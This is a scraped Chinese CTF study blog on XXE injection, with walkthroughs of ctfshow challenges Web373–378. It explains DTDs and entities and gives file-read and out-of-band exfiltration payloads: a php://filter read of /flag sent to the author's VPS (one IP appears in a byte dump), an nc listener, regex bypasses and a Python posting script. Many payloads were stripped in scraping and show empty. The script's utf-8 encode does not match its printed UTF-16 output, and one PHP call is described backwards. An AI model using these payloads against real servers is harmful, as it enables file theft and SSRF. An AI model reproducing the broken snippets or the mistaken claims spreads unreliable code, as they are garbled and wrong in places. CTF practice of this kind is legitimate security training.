【CTF-Web】XXE学习笔记(附ctfshow例题)

【CTF-Web】XXE学习笔记(附ctfshow例题)

码农世界 2024-06-04 前端 83 次浏览 0个评论

XXE

文章目录

  • XXE
    • 0x01 前置知识汇总
      • XML
      • DTD (Document Type Definition)
      • 0x02 XXE
      • 0x03 XXE危害
      • 0x04 攻击方式
        • 1. 通过File协议读取文件
          • Web373(有回显)
          • Web374(无回显)
          • Web375
          • Web376
          • Web377
          • Web378

            0x01 前置知识汇总

            XML

            可扩展标记语言(eXtensible Markup Language)

            区分XML和HTML:

            XML用于传输和存储数据,聚焦与数据的内容

            HTML用于显示数据,聚焦于数据的外观

            XML用途:

            1. 数据分离

            ​ 将HTML中的数据分离,当动态修改数据时可以将独立存储在XML文件中的数据读取调用,避免对HTML进行任何改变,只需要利用JavaScript代码读取外部XML文件

            XML语法:

            1. 树形结构 必须具有根元素
            
              
                .....
              
            
            

            举例:

            
            
              Tove
              Jani
              Reminder
              Don't forget me this weekend!
             
            
            1. 声明 :
            2. 标签中大小写敏感
            3. 属性值必须加引号
            4. 实体引用

            一些字符拥有特殊含义 所以使用实体引用代替特殊字符

            if salary < 1000 then
            
            if salary < 1000 then
            

            DTD (Document Type Definition)

            作用:

            在XML文档中加入DTD声明可以告诉XML解析器该文档遵循哪个DTD文档类型,对文档进行验证,以确保文档正确性。

            
            
            
              Hello World!
            
            

            限制:

            0x02 XXE

            什么是XXE :构造恶意DTD 主要是利用实体引用

            实体引用介绍:

            一、通用实体

            1. 内部实体(无SYSTEM 不需要引用外部文件)
            
              
            ]>
            
            &xxe;
            mypass
            
            

            在user标签里面 使用&进行引用 解析输出的时候就会被test替换

            1. 外部实体(带有SYSTEM 需要请求外部文件)
            
            
            ]>
            
                &xxe;
                mypass
            
            

            相当于在dtd文档中创建了外部实体xxe 该实体的作用是读取本地文件

            当解析xml文档的时候会遇到&xxe 会自动执行读取文件的操作

            上面的SYSTEM 引用的方法还可以使用公用DTD的方法操作


            二、参数实体

            定义:% 实体名

            引用:%实体名;

            特点:类似上面通用实体 支持外部引用

            举例:

            "> 
             
            %an-element; %remote-dtd;
            

            0x03 XXE危害

            • file://xxx读取文件
            • SSRF攻击
            • 盲注 信息数据泄露
            • 结合文件上传 getshell

              0x04 攻击方式

              1. 通过File协议读取文件

              题目原始post的数据

               
               ]> 
                
                  Joe  
                  &file;  
                  ... 
              
              

              我们通过抓包后修改post传输代码

              
              ]>
              
              &test;
              
              

              解析时实现对指定文件的读取

              上例题:

              Web373(有回显)

              前置语言基础:

              libxml_disable_entity_loader(false); 
              

              将xml引用外部实体禁用 但是不知道对这个题目有什么影响

              $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){   
               $dom = new DOMDocument();   
               $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);   
               $creds = simplexml_import_dom($dom);   
               $ctfshow = $creds->ctfshow;  
               echo $ctfshow;
              } 
              

              创建DOMDocument对象 加载XML文件

              在XML文件中在提取ctfshow 标签内的内容 进行echo显示

              解题:

              首先存在php://input 读取我们抓包发送的内容

              那么我们就可以写一个xml文件

              然后在ctfshow标签中引用外部实体 读取flag文件

              payload:

              
              
              ]>
              
              &cmd;
              
              
              #test.dtd
               ">
              %dtd;
              %xxe;
              
              Web374(无回显)

              首先我们来关注一下源码 看看这道题和上一道题有什么区别

              if(isset($xmlfile)){
                  $dom = new DOMDocument();
                  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
              } 
              

              仍然存在XML文档的加载,但是555 没有echo回显了,那么题目服务器的内容我们看不到

              怎么做!

              上我们自己的服务器~ 将内容带出

              分为两个部分:一个是直接让我们的题目服务器解析的xml文档语句,一个是我们存放在我们自己的vps上的外部dtd文档,然后在题目服务器xml解析时对我们的vps发起请求,然后在vps中将获得的内容传输到端口监听中

              1. 使用php://filter 获取目标文件内容,然后将内容以http请求的方式发送到我们的vps上
              
              
              
                   
                      
                  
                      
                  %dtds;
              ]>
                      
                    
              
              1
              
              
              1. 放在我们服务器上的内容
              ">
              
              %dtd;
              %showflag;
              

              梳理一下整个执行过程:

              首先在1中会解析%dtds 去调用2的内容

              然后2的内容展示在面板上之后会触发2中%dtd的解析 将2中内层嵌套的语句加载到面板上

              然后解析%showflag 去加载SYSTEM的语句,访问我们的vps,同时携带file获得的数据,其中%file获得已经在面板中1里面的请求。

              注意!一定要注意 POST传输的数据里面一定不要和vps中的文件里面定义的变量重名。比如vps中设置的是dtd我们POST传输的时候需要dtds或者其他任意的。


              避坑:

              1. 自己服务器的端口一定要放通!!!要不然根本无法请求

              然后在bp中POST传入我们的payload

              在自己的服务器开启监听nc -lnvp 10086 就可以获得flag啦!

              Web375

              继续与上题进行类比我们可以发现增加的是对xml头的整个语句的正则匹配

              注意这里的正则匹配是针对整个语句的匹配,只要这里面有地方改变就会绕过这种正则匹配

              <\?xml version="1\.0" 注意这里的\表示特殊符号的转义

              所以说整体的匹配语句就是

              绕过方法一:

              直接不写了,传一下试试

              
              
              
                  
                  %dtds;
              ]> 
              
              
              
              1
              
              

              绕过方法二:

              添加空格

              
              
              
              
              

              绕过方法三:

              引号替换绕过

              
              
              
              
              

              Web376

              关注和上一题的区别:

              if(preg_match('/<\?xml version="1\.0"/i', $xmlfile))
              

              在结尾出多了一个/i 表示整个匹配不区分大小写

              和上题的payload相同

              此外还想补充一下:注意前面我们说到的

              看到这个题目我本来想上一题是不是还可以大小写绕过 于是我退回去重做,发现大小写绕过根本走不通!

              Web377

              同样先看与上一题的区别

              if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile))
              

              增添了对http的限制

              在xml文档的编码中,不仅仅支持utf-8编码 同时也支持utf-16编码,所以我们可以将payload转为utf-16编码然后post传送数据

              import requests
              url = "http://c5cd315f-3854-4073-b5dc-42c8d51f32e4.challenge.ctf.show/"
              payload = '''
              
                  
                  %dtds;
              ]> 
              
              1
              '''
              payload = payload.encode('utf-8')
              print(payload)
              re = requests.post(url, data=payload)
              print(re.text)
              #b'\xff\xfe\n\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00h\x00a\x00c\x00k\x00e\x00r\x00[\x00\n\x00 \x00 \x00 \x00 \x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00 \x00%\x00 \x00f\x00i\x00l\x00e\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00/\x00r\x00e\x00a\x00d\x00=\x00c\x00o\x00n\x00v\x00e\x00r\x00t\x00.\x00b\x00a\x00s\x00e\x006\x004\x00-\x00e\x00n\x00c\x00o\x00d\x00e\x00/\x00r\x00e\x00s\x00o\x00u\x00r\x00c\x00e\x00=\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00\n\x00 \x00 \x00 \x00 \x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00 \x00%\x00 \x00d\x00t\x00d\x00s\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x001\x005\x004\x00.\x008\x00.\x001\x008\x003\x00.\x001\x009\x008\x00/\x00t\x00e\x00s\x00t\x00/\x00t\x00e\x00s\x00t\x00.\x00d\x00t\x00d\x00"\x00>\x00\n\x00\n\x00 \x00 \x00 \x00 \x00%\x00d\x00t\x00d\x00s\x00;\x00\n\x00]\x00>\x00 \x00\n\x00\n\x00<\x00r\x00o\x00o\x00t\x00>\x00\n\x001\x00\n\x00<\x00/\x00r\x00o\x00o\x00t\x00>\x00'
              

              我们发现编码后http彻底绕过

              在nc中成功获得flag

              Web378

              打开后是一个登录界面,ctrl+u 查看一下源码,

              一眼发现了post穿xml的内容

              所以首先我们定义一个变量,用于读取flag文件

              然后在输入框中引用外部实体

              
              
              ]>
              &cmd;&cmd;
              

转载请注明来自码农世界,本文标题:《【CTF-Web】XXE学习笔记(附ctfshow例题)》

百度分享代码,如果开启HTTPS请参考李洋个人博客
每一天,每一秒,你所做的决定都会改变你的人生!

发表评论

快捷回复:

评论列表 (暂无评论,83人围观)参与讨论

还没有评论,来说两句吧...

Top